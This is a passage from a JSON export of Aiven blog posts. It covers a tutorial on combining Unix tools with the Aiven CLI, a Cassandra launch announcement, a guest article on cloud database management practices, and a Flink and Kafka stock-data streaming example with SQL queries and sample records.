service plans --cloud do-sfo | grep -Ev '\\$\\d\\d.\\d{3}/h' | grep -E 'cassandra:|opensearch:|grafana:|influxdb:|kafka:|mysql:|pg:|redis:' \u003e cheap_plans \u0026\u0026 wc -l cheap_plans\n```\n\n#### Make a nicely formatted text file of \u003c $10/hr plans on a specific cloud and display it\n\n```shell\navn service plans --cloud do-sfo | grep -Ev '\\$\\d\\d.\\d{3}/h' \u003e cheap_plans \u0026\u0026 cat cheap_plans\n```\n\n#### List all plans on a specific cloud with cost \u003c $10/hr\n\n```shell\nclear \u0026\u0026 avn service plans --cloud do-sfo | grep -Ev '\\$\\d\\d.\\d{3}/h' | more\n```\n\n#### List all plans on a specific cloud with cost \u003e $10/hr\n\n```shell\nclear \u0026\u0026 avn service plans --cloud do-sfo | grep -E '\\$\\d\\d.\\d{3}/h'\n```\n\n## Creating, viewing, powering on / off and deleting services\n\n#### Create an Postgres service on your default cloud with hobbyist plan\n\n```shell\navn service create mypg -t pg --plan hobbyist\n```\n\n#### Create a Cassandra instance with startup-4 plan\n\n```shell\navn service create mycass -t cassandra --plan startup-4\n```\n\n#### Create a Kafka instance in next higher tier\n\n```shell\navn service create mykafka -t kafka --plan business-4\n```\n\n#### Roll out multiple service instances on multiple tiers\n\n```shell\navn service create mycass -t cassandra --plan startup-4 \u0026\u0026 avn service create mykafka -t kafka --plan business-4\n```\n\n#### Upgrade an existing service to a higher tier\n\n```shell\navn service update mycass --plan startup-8\n```\n\n#### Upgrade an existing service to a higher tier AND move it to another cloud region\n\n```shell\navn service update mycass --plan startup-8 --cloud aws-us-west-1\n```\n\n#### List all of your available Aiven services\n\n```shell\navn service list\n```\n\n#### Power on multiple services\n\n```shell\navn service update myes1 --power-on \u0026\u0026 avn service update myes2 --power-on\n```\n\n#### List only services currently running\n\n```shell\navn service list | grep POWERON\n```\n\n#### List only services currently switched off\n\n```shell\navn service list | grep POWEROFF\n```\n\n#### Get only the latest timestamps (CREATE_TIME and UPDATE_TIME) for each currently rebuilding service\n\nThis command is useful for troubleshooting a slowly-restarting service.\n\n```shell\navn service list | grep REBUILDING | grep -Eo '\\d{4}-\\d\\d-\\d\\dT\\d\\d:\\d\\d:\\d\\d(.\\d{6})?((\\+\\d\\d:\\d\\d)|Z)'\n```\n\n#### Get the timestamps for your recently switched off services\n\n```shell\navn service list | grep POWEROFF | grep -Eo '\\d{4}-\\d\\d-\\d\\dT\\d\\d:\\d\\d:\\d\\d(.\\d{6})?((\\+\\d\\d:\\d\\d)|Z)'\n```\n\n#### Get the latest timestamps for currently running services\n\n```shell\navn service list | grep RUNNING | grep -Eo '\\d{4}-\\d\\d-\\d\\dT\\d\\d:\\d\\d:\\d\\d(.\\d{6})?((\\+\\d\\d:\\d\\d)|Z)'\n```\n\n#### Power off your service and list services\n\n```shell\navn service update myes --power-off \u0026\u0026 avn service list\n```\n\n#### Poweroff multiple service instances\n\n```shell\nservices=('mycass' 'mykafka' 'myes')\nfor s in \"${services[@]}\"\ndo\n  avn service update $s --power-off\ndone\n```\n\n#### Terminate multiple service instances\n\n```shell\navn service terminate mycass \u0026\u0026 avn service terminate mykafka\n```\n\n## Viewing and filtering event logs\n\n#### Show all service events in your project\n\n```shell\navn events\n```\n\n#### Find 5 most recent events\n\n```shell\navn events | grep -Ev 'TIME|=' | head -5\n```\n\n#### Find service maintenance events\n\n```shell\navn events | grep -E '_maintenance'\n```\n\n#### Find service_delete events for your logged in project\n\n```shell\navn events | grep -E '_delete'\n```\n\n#### Count the number of lines in event log\n\n```shell\navn events | grep -Ev 'TIME|=' \u003e events \u0026\u0026 wc -l events\n```\n\n#### List all events related to powered on / off services\n\n```shell\navn events | grep power \u003e power_events \u0026\u0026 cat power_events\n```\n\n#### List all events not related to powered up or down services\n\n```shell\navn events | grep -Ev power \u003e live_events \u0026\u0026 cat live_events\n```\n\n## AVN help and miscellaneous options\n#### Get general AVN CLI help\n\n```shell\navn help\n```\n```shell\navn -h\n```\n\n#### Get help on a specific function\n\n```shell\navn card -h\n```\n```shell\navn cloud -h\n```\n```shell\navn credits -h\n```\n```shell\navn events -h\n```\n```shell\navn project -h\n```\n```shell\navn service -h\n```\n```shell\navn service create -h\n```\n\n#### List all credit cards associated with your project\n\n```shell\navn card list\n```\n\n#### List all available credits in your project\n\n```shell\navn credits list\n```\n\n#### List all of your current projects\n\n```shell\navn project list\n```\n\n#### Get project details, including associated credit card, billing address and country code\n\n```shell\navn project details\n```\n\n#### List all vpcs\n\n```shell\navn vpc list\n```\n\n## Creating aliases for regularly used commands\n\nIf you are using a command often, it might be useful to create an alias or a shell function for it. You can add these to ```.bashrc``` or to a shell script in your path. Here are some examples:\n\n#### List clouds in alphabetical order by 3 major regions\n\n```shell\nshow_my_clouds() {\nclear\nregions=('australia' 'europe' 'north')\nfor r in \"${regions[@]}\"\ndo\n    avn cloud list | grep $r\ndone }\n```\n\n#### View plans on a specific cloud that cost \u003c $10/hr\n\n```shell\nget_cheap_plans() {\n  clear \u0026\u0026 avn service plans --cloud do-sfo | grep -Ev '\\$\\d\\d.\\d{3}/h' | more\n}\n```\n\n#### Turn on a specific service\n\n```shell\nalias turnon_service='avn service update myes --power-on'\n```\n\n#### Turn off a specific service\n\n```shell\nalias turnoff_service='avn service update myes --power-off'\n```\n\n#### Get timestamps from all services\n\n```shell\nalias get_timestamps='avn service list | grep -Eo \"\\d{4}-\\d\\d-\\d\\dT\\d\\d:\\d\\d:\\d\\d(.\\d{6})?((\\+\\d\\d:\\d\\d)|Z)\"'\n```\n\n## Wrapping up\n\nIn this piece, we looked at many things you can do with the Aiven command-line interface (CLI) including installation and authentication, viewing clouds, services, regions and plans, working with event logs, getting help, and even creating aliases for frequently-used functions.\n\nWe hope that you'll find this not only helpful as a comprehensive primer for Aiven CLI, but also as a general, basic bash reference.\n\nAs mentioned before, our CLI is only one of many ways to interact with our globally-available, open source services. Want to try them out? Check out our [free 30 day trial](https://console.aiven.io/signup). To stay apace with new developments, you can also subscribe to our [blog](https://aiven.io/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/)!\n","categories":[{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-ea322b80b7dd5defb69c60b9c268ca912fa81bc8-752x405-png","_type":"reference"}},"publishedAt":"2019-05-30T00:00:00.000Z","seo":{"metaDescription":"Got bash, grep, cat and wc and want the the simplest commands to select, run and administer your Aiven services? Learn how.","metaImage":{"alt":"","asset":{"_ref":"image-ea322b80b7dd5defb69c60b9c268ca912fa81bc8-752x405-png","_type":"reference"}},"metaTitle":"Using traditional Unix tools with the Aiven CLI"},"slug":{"_type":"slug","current":"/blog/command-line-magic-with-the-aiven-cli"},"subtitle":"Got bash, grep, cat and wc and want the the simplest commands to select, run and administer your Aiven services? Learn how.","title":"Using traditional Unix tools with the Aiven CLI"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5HN8OpkEUfhQp3IeFL0JY5","_rev":"ZgPiUE9lJ1tcRKuFna2Cmb","_type":"post","_updatedAt":"2024-07-11T12:34:52Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Aiven’s mission is to deliver the best open source database and messaging systems as easily consumable managed services to help organizations focus on their core application building efforts. With that in mind, we’re excited to launch Aiven for Apache Cassandra as our seventh service product.\n\nAiven for Apache Cassandra is ideal for use cases with large, active data sets that need to be queried in real-time or used for later analysis. For instance, it can be used for IoT applications as well as a data archive for later analysis.\n\nOffering standard plan sizes that can scale to 9-node clusters supported by custom plans for even greater workloads, Aiven for Cassandra users will be able to address heavy workloads that require tunable performance and consistency.\n\n### Building a data archicture with Aiven\n\nNot only are we one of the few providers of managed Cassandra, but we are the only provider that offers it in combination with 6 other complimentary, open-source services across six cloud platforms in over 70 regions across the world.\n\nCassandra also represents the next logical step towards Aiven’s goal of operating as the platform on top of which SMBs and enterprises build their data architectures. For example, let’s look at a typical modern data architecture:\n\n![schematic of data architecture](https://cdn.sanity.io/images/sczeoy4w/production/0cf44ec100f51e0ffe59fefd98380e906e0384b2-960x540.png)\n\nNow, let’s look at where Aiven services fit within that architecture:\n\n![schematic of data architecture with Aiven components](https://cdn.sanity.io/images/sczeoy4w/production/8e728173a02258d2d9aa538db9ad1e31350069b0-960x540.png)\n\n\n### Wrapping up\n\nAiven for Cassandra as a Service ensures that the underlying database systems fundamental to a data architecture can be deployed from Aiven. And, we aren’t finished. We’ll continue to refine our services and integrations.\n\nTo learn more about Cassandra and set up your first cluster in minutes, go to the [Aiven for Cassandra page](https://aiven.io/cassandra). And, be sure to subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, as well as our [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to make sure that you always know the latest with Aiven!\n\n\n## Further reading\n\n- [Migrate your Apache Cassandra® data into Aiven with sstableloader](https://aiven.io/blog/aiven-now-supports-sstableloader)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"SDuPFTXa2dgBEl8OCxZRn","_ref":"SDuPFTXa2dgBEl8OCxZRn","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e0d447bc50ae904168cd65c4a410e69dd3f41387-752x405-png","_type":"reference"}},"publishedAt":"2018-11-08T00:00:00.000Z","seo":{"metaDescription":"Aiven for Apache Cassandra® is now generally available. Read this to see how it sets the foundation for building your data architecture with Aiven.","metaImage":{"alt":"","asset":{"_ref":"image-e0d447bc50ae904168cd65c4a410e69dd3f41387-752x405-png","_type":"reference"}},"metaTitle":"Aiven for Apache Cassandra® is now generally available"},"slug":{"_type":"slug","current":"/blog/aiven-cassandra-is-now-generally-available"},"subtitle":"Aiven for Apache Cassandra® is now generally available. Read this to see how it sets the foundation for building your data architecture with Aiven.","title":"Aiven for Apache Cassandra® is now generally available"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6C3u3uBahQCfx4Atonkg03","_rev":"ZgPiUE9lJ1tcRKuFnZDQuD","_type":"post","_updatedAt":"2024-07-11T08:14:55Z","authors":[],"body":"In a world in which information has become a critical currency for individual, organizational, and global advancement, databases have turned into data bank accounts. Like regular bank accounts, databases require proper security and maintenance.\n\nWhile databases can be operated on-premise, [95% of U.S-based](https://it-trends.solarwinds.com/) organizations have chosen to migrate most of their applications and infrastructure to the cloud. A cloud database contains data, either in structured or unstructured formats and can be located on a [public, private or hybrid cloud platform](https://aiven.io/blog/public-v-private-clouds-whats-the-difference \"Public v. private clouds - what’s the difference?\").\n\nAs the global exchange of data grows exponentially with the [number of devices](https://it-trends.solarwinds.com/) and systems that transmit and create data, the strain on databases increases. The more data the organization acquires, the more controls are needed to operate the flow of data.\n\n## What is database management?\n\nDatabase management encompasses any action taken for the purpose of organizing, maintaining, and analyzing data processes. [Database management](https://www.thebalancecareers.com/database-administrator-job-description-salary-and-skills-2061775) helps organizations control data and give it meaning at any stage of the data lifecycle.\n\nDatabase management tasks often cover some or all of the following objectives:\n\n* __Performance__—monitor the performance of data-driven applications.\n* __Storage optimization__—plan and monitor data storage capacity.\n* __Efficiency__—monitor data through all the lifecycle stages and optimize for efficiency.\n* __Security__—implement security controls to protect the data such as encryption and tokenization.\n* __Privacy__—protect sensitive data and ensure compliance with data regulations.\n* __Analysis__—integrate with big data tools to generate business intelligence reports.\n\nNowadays, database management systems cover many tasks and compliment the overall data infrastructure of the organization. Organizations can choose a ready-made database management system, or create a customized solution according to their requirements.\n\n## The 5 best management practices\nTo effectively develop, monitor, and manage the database infrastructure, organizations often implement a number of methods. Usually, the organization uses one or more database management system ([DBMS](https://searchsqlserver.techtarget.com/definition/database-management-system)) software programs that serve as the core foundation of the data infrastructure.\n\nThe [two most popular open source database management systems](https://db-engines.com/en/ranking) are:\n\n* __MySQL__—a relational database management system (RDBMS) that organizes related data in a row-based table structure.\n* __PostgreSQL__—an object-relational database management system (ORDBMS) organizes data according to objects and classes.\n\nWhile the two systems have free versions, organizations looking for added functionalities can choose from the various enterprise versions of MySQL, or one of the available [Postgres management](https://www.enterprisedb.com/products/postgres-enterprise-manager-best-gui-tools-database-management) solutions.\n\n### 1. Design a cloud data management strategy\nA cloud data management strategy serves as a roadmap that illustrates all the components in the overall cloud data management infrastructure.\n\nThe ideal would be to create a strategy before migrating any organizational resources to the cloud, to ensure that the cloud architecture fits the needs of the organization. While one organization may benefit from a quick architecture such as the [“lift and shift”](https://nethosting.com/7-best-practices-to-build-a-cloud-migration-strategy/), others may prefer to scale on a budget through the “drop and shop” architecture.\n\nA cloud data management strategy contains the fundamental principals of the management of the data and can help organizations standardize every aspect of data management. From performance, efficiency, security, and privacy, to analysis and [business intelligence](https://searchbusinessanalytics.techtarget.com/definition/business-intelligence-BI) (BI). Once you set up a strategy for the ongoing operations of the data, control becomes an integrated cog in your data machine.\n\n### 2. Encrypt and tokenize data at rest\nThe term data at rest refers to inactive data that lies unused in storage. While inactive data may not seem important enough to warrant information security expenses, data at rest is often targeted by cybercriminals. Data at rest contains information that may expose the location of sensitive information such as personal and financial information, healthcare information, and trade secrets.\n\nOrganizations can implement two measures of security methods to protect data at rest:\n\n* __Encryption__—[prevents unauthorized parties](https://www.techworld.com/security/what-is-encryption-3659671/) from using the data by rendering it illegible.\n* __Tokenization__—replaces sensitive data with [tokens](https://www.tokenex.com/resource-center/what-is-tokenization) that have no meaning.\n\n### 3. Secure data with identity and access management (IAM)\nIdentity and access management (IAM) standardizes the procedures the organization implements to ensure only authorized parties can gain [access to company-owned resources](https://www.techworld.com/security/uks-most-infamous-data-breaches-3604586/).\n\nIAM enables the management of user roles according to the following criteria:\n* __Role__—who is the user?\n* __Access__—what systems can the user gain access to?\n* __Privileges__—what level of use is the user allowed?\n* __Behavior__—under which circumstances a user will be denied access?\n\nIAM provides organizations with the control needed to ensure data is secure from unauthorized parties. IAM helps companies prevent the [theft of trade secrets](https://www.csoonline.com/article/3263799/insider-threat-examples-7-insiders-who-breached-security.html) by stripping ex-employees of their privileges. Additionally, a company can use IAM to protect against outward attacks by setting up controls that prevent cybercriminals from gaining access to the data. Examples of dedicated IAM tools:\n\n* __Active Directory (AD)__—a popular directory service offered by [Microsoft](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview).\n* __Biometric authentication__—grants or denies access to privileges based on biometric characteristics such as iris and retina, fingerprints, and facial features.\n\n### 4. Protect data in transit with encryption and VPN\nThe term [data in transit](https://www.sciencedirect.com/topics/computer-science/data-in-transit) refers to data that actively moves between locations across networks, storage repositories, and the Internet. While the data travels from one location to another it is vulnerable to attacks. Cybercriminals can intercept the data during that time and steal valuable information. Here are the two common methods of protecting data in transit:\n\n* __Encryption__—you can encrypt the data before moving it, use encrypted connections such as [HTTPS](https://www.expressvpn.com/blog/https-vs-vpn/?gclid=Cj0KCQjwtMvlBRDmARIsAEoQ8zSlUkCPaEHSpHFpYhCkJdqf4eW-GMSLXyo4-6leDi9kWERjRFlrpjIaAoejEALw_wcB) and SSL for secure data transit, or preferably cover all bases by implementing both methods.\n* __Virtual Private Networks (VPN)__—serve as secure digital tunnels for the online transit of data between locations. VPNs often combine multiple encrypted connections and encryption protocols to create secure virtual Peer to Peer (P2P) connections. Organizations can either use a VPN software or create their own [VPN tunnels](https://gizmodo.com/vpns-what-they-do-how-they-work-and-why-youre-dumb-f-5990192).\n\n### 5. Monitor database management tasks with automation\nDelegating database management tasks to automation systems help data professionals prioritize tasks in an efficient manner. Instead of performing low-level tasks, database professionals can set up an automation system that clears up time and energy for the more important and complex areas of their work. Automation can be configured to a variety of objectives, such as:\n\n* __Reporting__—set up a [reporting system](https://www.sisense.com/blog/automated-reporting-or-bi/) that sends you alerts when specific behaviors are triggered.\n* __Database testing__—replace manual tests with automation features that monitor database schema, data integrity, and perform repetitive database testing cycles.\n* __Integration__—create an automation system for [repeated integration tasks](https://searchitchannel.techtarget.com/feature/How-to-automate-database-integration).\n\nDifferent database Management systems offer different features and levels of customization. Ensure you choose a system that fits your needs and integrates well with your resources.\n\n## Wrapping up\nDatabase management is a complex but rewarding job. Done right, database management can provide a comprehensive solution for maintaining, protecting, and [analyzing](https://segment.com/blog/choosing-a-database-for-analytics/) the company data. Better database management translates into better analytics.\n\nDatabase management is in charge of sorting through the vast amounts of data and turning it into meaningful and useful information that helps increase sales, improve productivity, and promote innovation.\n\n[![Adeo-CaseStudy-CTA](//cdn.sanity.io/images/sczeoy4w/production/9d3cb0ef137e1e9ee9fb7066b25baf316bb01957-1600x471.jpg)](https://aiven.io/case-studies/aiven-cloud-helps-adeo)\n\n## Further reading\n- [Data security compliance in the cloud](https://aiven.io/blog/data-security-compliance-in-the-cloud \"Data security compliance in the cloud\") - how Aiven approaches security issues.\n\n- [Time travel: two-dimensional time with bitemporal data](https://aiven.io/blog/two-dimensional-time-with-bitemporal-data)","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-bb03ec27dd22355e1793f7be9c829b3e1a735ccf-752x405-png","_type":"reference"}},"publishedAt":"2019-05-17T00:00:00.000Z","related":[{"_key":"6885f6e4cc96","_ref":"6OgPe0wSeGI2LFRzkDXfzm","_type":"reference"},{"_key":"7ae5047aa931","_ref":"1Ra2d6bJ8rmAaOIoRQafNS","_type":"reference"},{"_key":"9682aebd2ee4","_ref":"Ly347MEMMfb0RG0hpKNiv","_type":"reference"}],"seo":{"metaDescription":"Check out this blog post from our guest writer, Gilad David Maayan, covering 5 best practices for cloud database management.","metaImage":{"alt":"","asset":{"_ref":"image-bb03ec27dd22355e1793f7be9c829b3e1a735ccf-752x405-png","_type":"reference"}},"metaTitle":"5 best practices for cloud database management"},"slug":{"_type":"slug","current":"/blog/5-best-practices-for-cloud-database-management"},"subtitle":"Check out this blog post from our guest writer, Gilad David Maayan, covering 5 best practices for cloud database management.","title":"5 best practices for cloud database management"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"6Try3Yao44IvWVZPip4pzx","_rev":"YaKEzcVhnb7P0fmfvPXzjI","_type":"post","_updatedAt":"2024-08-05T11:36:40Z","authors":[{"_key":"3gY7BY02heuVTQu1HRmMy6","_ref":"3gY7BY02heuVTQu1HRmMy6","_type":"reference"}],"body":"\u003e__Update / February 2023: Aiven for Apache Flink is generally available! [Read more in our blog.](https://aiven.io/blog/aiven-for-apache-flink-generally-available)__\n\nApache Kafka® and Apache Flink can now support real-time data processing and streaming analytics! No code to write, only simple SQL Statements in Flink. You can have multiple sources or sinks of incoming data or processed data that are integrated into one Flink service.\n\n## Why you should use Flink\nFlink is an open source tool that an enterprise can use for collaboration while still maintaining rigorous data governance.  With Flink, engineers don’t have to build pipelines for each type of data separately. Instead, the data can be made available for teams and applications across the organisation with Flink jobs. \n\n### Data made to measure\nWith Flink jobs, you can [filter](https://aiven.io/docs/products/flink/howto/real-time-alerting-solution.html#create-a-pipeline-for-basic-filtering \"Create a pipeline for basic filtering | Aiven Developer\"), [window](https://aiven.io/docs/products/flink/howto/real-time-alerting-solution.html#create-a-pipeline-with-windowing \"Create a pipeline for windowing | Aiven Developer\"), or enrich data according to the needs of the organisation. This data can then be passed on to other systems for storage or processing.\n\n### Fail fast, succeed faster\n[Adding new jobs via Aiven Console](https://aiven.io/docs/products/flink/howto \"Create job | Aiven Developer\") is easy and quick, which gives you more options for data handling. This makes Flink an ideal platform to run data experiments on. \n\n### Resilient data pipelines with Apache Flink\nFlink offers a Highly Available platform for deploying data pipelines. Flink is configured with cluster restart strategy on fault tolerance, all Aiven business plans come with multi-nodes clusters that are highly available with automatic failover.  More details explained [here](https://aiven.io/docs/products/flink/concepts).\n\n### Microservices aren’t everything\nWere you thinking of meeting organisational data needs with microservices? While that’s not a bad idea, note that with Flink, there’s no code to maintain, deploy or execute. That means less complexity, lower cost, quicker time-to-market, and resource savings. \n\n### Simple with a complex twist\nFlink makes complex SQL joins and data windowing easy with its [windows](https://aiven.io/docs/products/flink/concepts/windows.html \"Windows | Aiven Developer\") and [watermarks](https://aiven.io/docs/products/flink/concepts/watermarks.html \"Watermarks | Aiven Developer\"); state is maintained in the Flink job.\n\nIn the following example, we have a table requests that collects web request access timestamps, we are going to query the number of requests per hour using PostgresSQL vs. Flink.\n\nIn PostgreSQL, you have to \n\n```\nwith hours as (\n select generate_series(\n   date_trunc('hour', now()) - '1 day'::interval,\n   date_trunc('hour', now()),\n   '1 hour'::interval\n ) as hour\n)\n\nselect\n hours.hour,\n count(requests.id)\nfrom hours\nleft join requests on date_trunc('hour', requests.accesstime) = hours.hour\ngroup by 1\n```\n... whereas in Flink you can\n\n```\n   SELECT\n     hour,\n     count(id)\n   FROM requests\n   GROUP BY symbol, TUMBLE(accesstime, INTERVAL '1' HOUR)  \n```\n\n## Putting Flink to the test\nLet's take a look at a real use case to show an end-to-end solution. This one simulates the processing of stock exchange data with Flink and Apache Kafka. \n\nIn the example, Python code generates stock exchange data into a Kafka topic. Flink then picks it up, processes it, and places the processed data into another Kafka topic.\n\n![Python, Kafka and Flink](//cdn.sanity.io/images/sczeoy4w/production/e52fc7c25ba89e7c6ff77ca038501e0ab3b21b66-937x379.png)\n\nThe following Flink query would do all this:\n- calculate the difference between maximum and minimum bid price\n- ask for the price of the equity tick data (stocks) over a time period \n- track intervals of the stock during the specified time window (in this example, it is set to 9 seconds so the data flowing quicker within seconds for demonstration)\n\n```\n   INSERT INTO ${aiven_flink_table.sink.table_name}\n   SELECT\n     symbol,\n     max(bid_price)-min(bid_price),\n     max(ask_price)-min(ask_price),\n     min(bid_price),\n     max(bid_price),\n     min(ask_price),\n     max(ask_price),\n     TIMESTAMPDIFF(SECOND, min(ts_ltz),max(ts_ltz)),\n     CURRENT_TIMESTAMP\n   FROM ${aiven_flink_table.source.table_name}\n   GROUP BY symbol, TUMBLE(ts_ltz, INTERVAL '9' SECOND)\n```\n\nBut don’t take our word for it. To see this solution running live, take [this code example](https://github.com/aiven/aiven-examples/tree/master/solutions/flink-kafka \"Flink-Kafka demo | GitHub\"). Set up Python 3 and Terraform, then follow the instructions. All it takes is a few commands for you to see the processed data.\n\nProducer Example (generated stock data):\n```\n{\"symbol\": \"M3\", \"bid_price\": 16.89, \"ask_price\": 15.46, \"time_stamp\": 1637977977021}\n{\"symbol\": \"KAFKA\", \"bid_price\": 891.25, \"ask_price\": 891.75, \"time_stamp\": 1637977977046}\n{\"symbol\": \"MYSQL\", \"bid_price\": 667.94, \"ask_price\": 669.31, \"time_stamp\": 1637977977072}\n{\"symbol\": \"PSQL\", \"bid_price\": 792.25, \"ask_price\": 793.62, \"time_stamp\": 1637977977096}\n{\"symbol\": \"INFLUX\", \"bid_price\": 24.43, \"ask_price\": 24.79, \"time_stamp\": 1637977977124}\n{\"symbol\": \"REDIS\", \"bid_price\": 12.87, \"ask_price\": 12.57, \"time_stamp\": 1637977977150}\n{\"symbol\": \"REDIS\", \"bid_price\": 13.33, \"ask_price\": 12.26, \"time_stamp\": 1637977977178}\n{\"symbol\": \"REDIS\", \"bid_price\": 11.54, \"ask_price\": 11.29, \"time_stamp\": 1637977979703}\n{\"symbol\": \"OS\", \"bid_price\": 9.49, \"ask_price\": 10.3, \"time_stamp\": 1637977979731}\n{\"symbol\": \"INFLUX\", \"bid_price\": 24.44, \"ask_price\": 24.27, \"time_stamp\": 1637977979757}\n{\"symbol\": \"CQL\", \"bid_price\": 22.67, \"ask_price\": 21.61, \"time_stamp\": 1637977979788}\n{\"symbol\": \"OS\", \"bid_price\": 10.09, \"ask_price\": 10.49, \"time_stamp\": 1637977979813}\n{\"symbol\": \"CQL\", \"bid_price\": 22.06, \"ask_price\": 21.28, \"time_stamp\": 1637977979839}\n{\"symbol\": \"MYSQL\", \"bid_price\": 670.94, \"ask_price\": 669.85, \"time_stamp\": 1637977979864}\n{\"symbol\": \"PSQL\", \"bid_price\": 792.77, \"ask_price\": 792.24, \"time_stamp\": 1637977979889}\n```\n\nConsumer Example (processed stock data):\n\n```\nReceived: b'{\"symbol\":\"PSQL\",\"change_bid_price\":0,\"change_ask_price\":0,\"min_bid_price\":777.12,\"max_bid_price\":777.12,\"min_ask_price\":778.09,\"max_ask_price\":778.09,\"time_interval\":0,\"time_stamp\":\"2021-11-27 01:52:33.744\"}'\nReceived: b'{\"symbol\":\"INFLUX\",\"change_bid_price\":2.25,\"change_ask_price\":2.02,\"min_bid_price\":23.96,\"max_bid_price\":26.21,\"min_ask_price\":24.66,\"max_ask_price\":26.68,\"time_interval\":0,\"time_stamp\":\"2021-11-27 01:52:33.744\"}'\nReceived: b'{\"symbol\":\"M3\",\"change_bid_price\":0,\"change_ask_price\":0,\"min_bid_price\":26.57,\"max_bid_price\":26.57,\"min_ask_price\":25.9,\"max_ask_price\":25.9,\"time_interval\":0,\"time_stamp\":\"2021-11-27 01:52:33.744\"}'\nReceived: b'{\"symbol\":\"REDIS\",\"change_bid_price\":0,\"change_ask_price\":0,\"min_bid_price\":13.3,\"max_bid_price\":13.3,\"min_ask_price\":14.48,\"max_ask_price\":14.48,\"time_interval\":0,\"time_stamp\":\"2021-11-27 01:52:33.745\"}'\nReceived: b'{\"symbol\":\"OS\",\"change_bid_price\":1.52,\"change_ask_price\":1.92,\"min_bid_price\":19.04,\"max_bid_price\":20.56,\"min_ask_price\":18.61,\"max_ask_price\":20.53,\"time_interval\":0,\"time_stamp\":\"2021-11-27 01:52:33.745\"}'\nReceived: b'{\"symbol\":\"OS\",\"change_bid_price\":1.74,\"change_ask_price\":2.27,\"min_bid_price\":15.24,\"max_bid_price\":16.98,\"min_ask_price\":14.45,\"max_ask_price\":16.72,\"time_interval\":2,\"time_stamp\":\"2021-11-27 01:52:42.358\"}'\nReceived: b'{\"symbol\":\"MYSQL\",\"change_bid_price\":1.43,\"change_ask_price\":1.08,\"min_bid_price\":667.17,\"max_bid_price\":668.6,\"min_ask_price\":666.92,\"max_ask_price\":668,\"time_interval\":3,\"time_stamp\":\"2021-11-27 01:52:42.358\"}'\nReceived: b'{\"symbol\":\"REDIS\",\"change_bid_price\":2.7,\"change_ask_price\":4.31,\"min_bid_price\":12.98,\"max_bid_price\":15.68,\"min_ask_price\":11.55,\"max_ask_price\":15.86,\"time_interval\":3,\"time_stamp\":\"2021-11-27 01:52:42.359\"}'\n```\n\n## Further reading\n- [An introduction to Apache Flink®](https://aiven.io/blog/introduction-to-apache-flink \"An introduction to Apache Flink | Aiven Blog\")\n- [Move from batch to streaming with Apache Kafka® and Apache Flink®](https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink)\n- [Data and disaster recovery](https://aiven.io/blog/data-and-disaster-recovery \"Data and disaster recovery | Aiven Blog\")\n- [5 benefits of an Apache Kafka centric microservice architecture](https://aiven.io/blog/5-benefits-of-a-kafka-centric-microservice-architecture \"5 benefits of an Apache Kafka centric microservice architecture | Aiven Blog\")\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-df5340822918a4a164a295d82d3d7ef1999dae66-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-02T00:00:00.000Z","related":[{"_key":"f2aa4e30a8f3","_ref":"b06fbbce-a80e-4e66-b4b1-dc6f57f9023f","_type":"reference"},{"_key":"6787214adf24","_ref":"6d2dc544-51e6-459e-8669-8d92544accb2","_type":"reference"},{"_key":"0e7824547cab","_ref":"766e5371-c2d6-409d-acba-a478d18ffdd2","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"With Apache Kafka® and Apache Flink®, you can now have coding-free support for real-time data processing and streaming analytics!","metaImage":{"alt":"","asset":{"_ref":"image-df5340822918a4a164a295d82d3d7ef1999dae66-1567x844-png","_type":"reference"}},"metaTitle":"Real-time stock data with Apache Flink® and Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/real-time-stock-data-with-apache-flink-and-apache-kafka"},"subtitle":"With Apache Kafka® and Apache Flink®, you can now have coding-free support for real-time data processing and streaming analytics!","title":"Real-time stock data with Apache Flink® and Apache Kafka®"}
